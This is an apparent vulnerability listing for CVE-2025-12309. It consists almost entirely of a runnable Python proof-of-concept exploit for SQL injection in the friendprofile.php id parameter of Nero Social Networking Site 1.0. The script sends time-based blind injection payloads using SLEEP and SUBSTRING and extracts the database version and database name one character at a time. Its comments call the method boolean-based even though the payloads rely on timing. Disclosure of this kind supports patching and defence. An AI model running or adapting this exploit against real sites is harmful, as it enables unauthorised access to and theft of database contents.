CVE-2025-12309: Nero Social Networking Site 1.0 SQL注入漏洞

import requests import sys # CVE-2025-12309 PoC - SQL Injection in Nero Social Networking Site 1.0 # Target: /friendprofile.php?id= parameter # This PoC demonstrates boolean-based blind SQL injection def exploit_sqli(target_url): """ Extract database version using boolean-based blind SQL injection """ print(f"[*] Targeting: {target_url}") print("[*] Testing SQL Injection vulnerability...") # Test payload - causes delay if vulnerable true_payload = f"{target_url}?id=1' AND SLEEP(5)-- -" false_payload = f"{target_url}?id=1' AND SLEEP(0)-- -" try: # Test true condition print("[*] Sending payload to verify vulnerability...") response = requests.get(true_payload, timeout=10) print(f"[+] Response status: {response.status_code}") # Boolean-based blind SQL injection to extract data print("[*] Extracting database version...") db_version = "" charset = 'abcdefghijklmnopqrstuvwxyz0123456789-.()_' for i in range(1, 50): found = False for char in charset: payload = f"{target_url}?id=1' AND IF(SUBSTRING(@@version,{i},1)='{char}',SLEEP(2),0)-- -" try: resp = requests.get(payload, timeout=5) if resp.elapsed.total_seconds() >= 2: db_version += char print(f"[+] Extracted character {i}: {char}") found = True break except: pass if not found: break print(f"[+] Database version: {db_version}") # Example: Extract current database print("[*] Extracting current database name...") db_name = "" for i in range(1, 30): found = False for char in charset: payload = f"{target_url}?id=1' AND IF(SUBSTRING(DATABASE(),{i},1)='{char}',SLEEP(2),0)-- -" try: resp = requests.get(payload, timeout=5) if resp.elapsed.total_seconds() >= 2: db_name += char found = True break except: pass if not found: break print(f"[+] Database name: {db_name}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-site.com/friendprofile.php" exploit_sqli(target)